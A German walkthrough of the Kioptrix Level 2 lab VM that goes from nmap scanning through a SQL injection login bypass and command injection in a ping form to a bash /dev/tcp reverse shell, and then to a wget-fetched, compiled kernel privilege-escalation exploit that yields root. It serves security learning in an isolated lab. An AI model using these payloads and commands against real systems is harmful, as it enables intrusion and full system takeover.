Was ist Kioptrix?
Kioptrix Level 2 ist eine VM Challenge. Das Ziel ist es, root Zugriff auf dem System zu erlangen. Dies kann auf unterschiedliche Weise passieren. Der Zweck dieser „Spiele“ ist es, die Basics und Techniken von Schwachstellen zu erlernen und zu kompromittieren. Dies Hilft dabei Verständnisse eines Hackers aufzubauen, selbst Schwachstellen zu finden und gegebenenfalls diese auch zu schließen. Laden könnt ihr euch die jeweilige VM auf der vulnhub Seite:
Zum Starten benötigt ihr einen VM Player. Dazu könnt ihr den VM Player von VMWare oder den Virtualbox von Oracle verwenden. Ich persönlich verwende die Virtualbox.
Welcome to Kioptrix Level 2 Penetration and Assessment Environment
–The object of this game:
|_Acquire „root“ access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
DISCLAIMER: Kioptrix is not resposible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.
WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet – or Interwebs..)
Good luck and have fun!
Kioptrix 2 kompromittieren
Informationsbeschaffung
Als erster Schritt in diesem Tutorial ermitteln wir die IP Adresse der virtuellen Maschine. Diese befindet sich natürlich im eigenen lokalen IP Bereich, also lasse ich alle IPs im 192.168.178.0 Netz mit NMAP scannen und ermittel somit die Hosts, die zurzeit online sind.
nmap -sn 192.168.188.0/24
Meine VM hat die 192.168.188.77 zugewiesen bekommen. Nun starte ich einen weiteren NMAP Scan, um alle möglichen offenen Ports auf dem Host zu finden.
nmap -sN 192.168.188.77 -r -sV Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 10:31 CEST Nmap scan report for 192.168.188.77 Host is up (0.0011s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99) 80/tcp open http Apache httpd 2.0.52 ((CentOS)) 111/tcp open rpcbind 2 (RPC #100000) 443/tcp open ssl/https? 631/tcp open ipp CUPS 1.1 3306/tcp open mysql MySQL (unauthorized) MAC Address: 08:00:27:C3:FF:FC (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds
Einer der gefundenen offenen Ports ist der HTTP-Port(80). Gehen wir also nun davon aus, dass die VM auch eine Seite hostet und versuchen diese zu ermitteln. Geben wir dabei http://192.168.188.77 im Browser ein, so finden wir eine Seite mit einem Login-Bereich.
Der Versuch einer SQL Injection
Benutzername = admin Passwort = ' OR '1'='1
war erfolgreich und somit sind wir auf die nächste Seite geleitet worden, wo wir einen Ping-Command bedienen können.
Warum funktioniert hier SQL Injection?
Mit dem obigen „Passwort“ manipulieren wir die SQL Query, die im Web Code enthalten ist. Der eigentliche Code parst unsere Eingabe nicht und somit können wir die Query manipulieren, in dem wir eine ‚OR ‚1‘ = ‚1 mit übergeben. Somit überprüft der Code ob wir den Benutzer mit Password haben ODER ob 1 = 1 ist. Da 1 immer 1 ist und auch bleibt, werden wir auf die nächste Seite weitergeleitet. Mit der Code-Injection, weiter unten, können wir die SQL-Query auslesen. Ich greif hier mal vorweg und benutze zur Erklärung genau diese Query. Im PHP Code finden wir diesen Bereich:
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
Benutzen wir nun unser Passwort, so sieht die Query wie folgt aus:
"SELECT * FROM users WHERE username = '$username' AND password='' OR '1'='1'"
Query erhält somit also den Status „True“ und wir können uns anmelden.
Code Injection
Bei dem Ping-Command können wir eine IP angeben und die Page gibt uns das Resultat wieder zurück. Versuchen wir nun weiteren Code anzuhängen, kommen wir zu der Überzeugung, dass auch hier unsere Eingabe nicht geparst wird.
192.168.188.1; ls -ltr
Auch hier bekomme ich den Ping zurück, aber er fügt zusätzlich noch die Dateistruktur an, die ich mit ls -ltr ermittelt habe. Mit der Code-Injection haben wir schon gegenwärtig Zugriff auf das System, auch wenn es nur mit Rechten des Apache2 läuft.
192.168.188.1; ls -ltr PING 192.168.188.1 (192.168.188.1) 56(84) bytes of data. 64 bytes from 192.168.188.1: icmp_seq=0 ttl=64 time=1.02 ms 64 bytes from 192.168.188.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 192.168.188.1: icmp_seq=2 ttl=64 time=0.631 ms --- 192.168.188.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2000ms rtt min/avg/max/mdev = 0.558/0.737/1.023/0.205 ms, pipe 2 total 8 -rwxr-Sr-t 1 root root 199 Oct 8 2009 pingit.php -rwxr-Sr-t 1 root root 1733 Feb 9 2012 index.php
Nehmen wir dies nun zum Anlass und schauen uns das PHP-Skript an. Übergebt also folgendes:
192.168.188.1; cat index.php
Damit könnt ihr euch das Skript ausgeben lassen.
mysql_select_db("webapp"); if ($_POST['uname'] != ""){ $username = $_POST['uname']; $password = $_POST['psw']; $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'"; //print $query." "; $result = mysql_query($query); $row = mysql_fetch_array($result); //print "ID: ".$row['id']." "; }
Reverse Shell
Durch die Command-Injection können wir nun auch versuchen eine Reverse-Shell zu injizieren. Für die Reverse-Shell verwende ich netcat auf dem Kali System.
nc -lvp 4444 listening on [any] 4444 ...
Netcat lauscht jetzt auf dem Port 4444 und wartet auf eine Verbindung. Gehen wir also wieder zurück zu unserer Ping-Seite. Dort müssen wir nichts anderes machen, als eine Shell zu unserem Kali aufzubauen.
192.168.188.1; bash -i >& /dev/tcp/192.168.188.78/4444 0>&1
Habt ihr soweit alles richtig gemacht, haben wir eine Shell in unserem Terminal
192.168.188.77: inverse host lookup failed: Unknown host connect to [192.168.188.78] from (UNKNOWN) [192.168.188.77] 36082 bash: no job control in this shell bash-3.00$
Da wir zurzeit noch als apache User angemeldet sind, haben wir unser Ziel noch nicht erreicht. Durch eine sogenannte „Privilege Escalation“ sollten wir an unsere root Rechte rankommen. Dafür benötigen wir die Distributioninformationen und Kernelinformationen
uname -a Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux cat /etc/*-release CentOS release 4.5 (Final)
Bemühen wir uns also und suchen nach einem Exploit
searchsploit -w linux 2.6 CentOS ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------- Exploit Title | URL ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------- Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation | https://www.exploit-db.com/exploits/9545 Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5) | https://www.exploit-db.com/exploits/9479 Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) | https://www.exploit-db.com/exploits/9542 Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) | https://www.exploit-db.com/exploits/25444 Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | https://www.exploit-db.com/exploits/45516 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------
Ich habe mich soweit für https://www.exploit-db.com/exploits/9545 entschieden.
Diesen Code gilt es nun auf dem Kioptrix zu installieren. Dafür stellen wir die Datei über einem Http-Server bereit, womit wir diese laden können. Da die Datei bei mir schon als Exploit vorhanden ist, kann ich diese einfach in meinem http-Ordner kopieren. Von dort aus starte ich dann auch den Http-Server.
rtf@kali-pc:~/http$ cp -p /usr/share/exploitdb/exploits/linux/local/9545.c . rtf@kali-pc:~/http$ python -m SimpleHTTPServer 80
Mittels wget laden wir diese auf unserem Remote Host herunter. Da wir selber keine Schreibrechte im apache Ordner haben, müssen wir uns einen Ordner suchen, wo auch wir schreiben dürfen. /tmp/ wäre z.B. solch ein Ordner.
bash-3.00$ cd /tmp bash-3.00$ wget http://192.168.188.78/9545.c --10:01:14-- http://192.168.188.78/9545.c => `9545.c' Connecting to 192.168.188.78:80... connected. HTTP request sent, awaiting response... 200 OK Length: 9,783 (9.6K) [text/plain] 0K ......... 100% 207.33 MB/s 10:01:14 (207.33 MB/s) - `9545.c' saved [9783/9783] bash-3.00$ ls -ltr total 12 -rw-r--r-- 1 apache apache 9783 Aug 14 01:01 9545.c
Damit hätten wir die Datei auf unserem Kioptrix – Fehlt nur noch die Kompilierung zum Ausführen des Codes.
bash-3.00$ gcc -o escalation 9545.c 9545.c:376:28: warning: no newline at end of file bash-3.00$ ls -ltr total 20 -rw-r--r-- 1 apache apache 9783 Aug 14 01:01 9545.c -rwxr-xr-x 1 apache apache 6762 Aug 23 10:05 escalation bash-3.00$ ./escalation sh: no job control in this shell
Überprüfen wir nun, ob die Escalation erfolgreich war
whoami root
BINGO! Die Escalation war erfolgreich und wir sind nun root. Ich wünsche euch viel Spaß mit Kioptrix Level 2